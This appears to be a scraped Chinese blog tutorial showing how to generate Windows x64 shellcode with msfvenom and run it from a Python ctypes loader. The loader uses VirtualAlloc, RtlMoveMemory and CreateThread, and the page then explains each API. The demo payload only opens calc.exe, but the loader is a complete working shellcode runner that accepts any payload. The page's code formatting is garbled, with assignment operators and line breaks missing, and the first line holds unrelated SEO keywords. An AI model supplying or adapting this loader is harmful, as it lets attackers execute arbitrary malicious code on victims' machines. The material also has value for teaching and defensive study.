做网站的市场有那么大吗,南阳网站排名优化公司,网站显示速度的代码,wordpress wplms0x01 生成shellcode
首先通过下列命令生成一个shellcode#xff0c;使用msfvenom -p选项来指定paylaod#xff0c;这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。
msfvenom -p windows/x64/exec …0x01 生成shellcode
首先通过下列命令生成一个shellcode使用msfvenom -p选项来指定paylaod这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。
msfvenom -p windows/x64/exec CMDcalc.exe -f py0x02 加载与执行shellcode的程序
程序为
# -*- coding:utf-8 -*-import ctypes
from ctypes import *
from ctypes.wintypes import *
import sysPAGE_EXECUTE_READWRITE 0x00000040
MEM_COMMIT 0x3000
PROCESS_ALL_ACCESS (0x000F0000 | 0x00100000 | 0xFFF)VirtualAlloc windll.kernel32.VirtualAlloc
RtlMoveMemory windll.kernel32.RtlMoveMemory
CreateThread windll.kernel32.CreateThread
WaitForSingleObject windll.kernel32.WaitForSingleObject
OpenProcess windll.kernel32.OpenProcess
VirtualAllocEx windll.kernel32.VirtualAllocEx
WriteProcessMemory windll.kernel32.WriteProcessMemory
CreateRemoteThread windll.kernel32.CreateRemoteThreadshellcode bytearray(b\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41b\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48b\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0fb\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7cb\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52b\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8bb\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0b\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56b\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9b\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0b\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58b\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44b\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0b\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5ab\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48b\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00b\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41b\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41b\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06b\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6ab\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65b\x78\x65\x00
)def run1():VirtualAlloc.restype ctypes.c_void_p #重载函数返回类型为voidp VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存buf (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中h CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件if __name__ __main__:run1()
0x03 程序解释
导入模块并且程序分配内存还有可进行读写操作。
import ctypes
from ctypes import *
from ctypes.wintypes import *
import sysPAGE_EXECUTE_READWRITE 0x00000040
MEM_COMMIT 0x3000
PROCESS_ALL_ACCESS (0x000F0000 | 0x00100000 | 0xFFF)区域可执行代码可读可写
PAGE_EXECUTE_READWRITE 0x00000040分配内存
MEM_COMMIT 0x3000给予进程所有权限
PROCESS_ALL_ACCESS (0x000F0000 | 0x00100000 | 0xFFF)调用windows api
VirtualAlloc windll.kernel32.VirtualAlloc
RtlMoveMemory windll.kernel32.RtlMoveMemory
CreateThread windll.kernel32.CreateThread
WaitForSingleObject windll.kernel32.WaitForSingleObject
OpenProcess windll.kernel32.OpenProcess
VirtualAllocEx windll.kernel32.VirtualAllocEx
WriteProcessMemory windll.kernel32.WriteProcessMemory
CreateRemoteThread windll.kernel32.CreateRemoteThread将前面生成的shellcode赋值给shellcode参数赋值前使用bytearray函数处理
shellcode bytearray(b\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41b\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48b\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0fb\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7cb\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52b\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8bb\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0b\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56b\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9b\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0b\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58b\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44b\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0b\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5ab\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48b\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00b\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41b\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41b\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06b\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6ab\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65b\x78\x65\x00
)创建一个方法并调用申请内存将shellcode指向分配的内存指针再复制shellcode到内存中创建线程事件并执行
def run1():VirtualAlloc.restype ctypes.c_void_p #重载函数返回类型为voidp VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存buf (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中h CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件VirtualAlloc是用来申请内存空间是一个Windows API函数它的声明为
LPVOID VirtualAlloc{
LPVOID lpAddress, // 要分配的内存区域的地址
DWORD dwSize, // 分配的大小
DWORD flAllocationType, // 分配的类型
DWORD flProtect // 该内存的初始保护属性
};RtlMoveMemory从指定内存中复制内存至另一内存里.语法为
VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
const VOID UNALIGNED *Source,
SIZE_T Length
);参数
Destination 指向移动目的地址的指针。
Source 指向要复制的内存地址的指针。
Length 指定要复制的字节数。CreateThread是一种微软在Windows API中提供了建立新的线程的函数该函数在主线程的基础上创建一个新线程。 函数原型
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
SIZE_T dwStackSize,//initialstacksize
LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
LPVOID lpParameter,//threadargument
DWORD dwCreationFlags,//creationoption
LPDWORD lpThreadId//threadidentifier
)参数意义
lpThreadAttributes指向SECURITY_ATTRIBUTES型态的结构的指针。在Windows 98中忽略该参数。在Windows NT中NULL使用默认安全性不可以被子线程继承否则需要定义一个结构体将它的bInheritHandle成员初始化为TRUE。dwStackSize设置初始栈的大小以字节为单位如果为0那么默认将使用与调用该函数的线程相同的栈空间大小。任何情况下Windows根据需要动态延长堆栈的大小。lpStartAddress指向线程函数的指针形式函数名函数名称没有限制lpParameter向线程函数传递的参数是一个指向结构的指针不需传递参数时为NULL。dwCreationFlags 线程标志,可取值如下 1CREATE_SUSPENDED(0x00000004)创建一个挂起的线程 20表示创建后立即激活。 3STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000)dwStackSize参数指定初始的保留堆栈 的大小否则,dwStackSize指定提交的大小。该标记值在Windows 2000/NT and Windows Me/98/95上不支持。lpThreadId:保存新线程的id。 WaitForSingleObject是一种Windows API函数。当等待仍在挂起状态时句柄被关闭那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。 声明
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);hHandle[in]对象句柄。可以指定一系列的对象如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。 dwMilliseconds[in]定时时间间隔单位为milliseconds毫秒.如果指定一个非零值函数处于等待状态直到hHandle标记的对象被触发或者时间到了。如果dwMilliseconds为0对象没有被触发信号函数不会进入一个等待状态它总是立即返回。如果dwMilliseconds为INFINITE对象被触发信号后函数才会返回。
运行程序可以成功弹出计算器。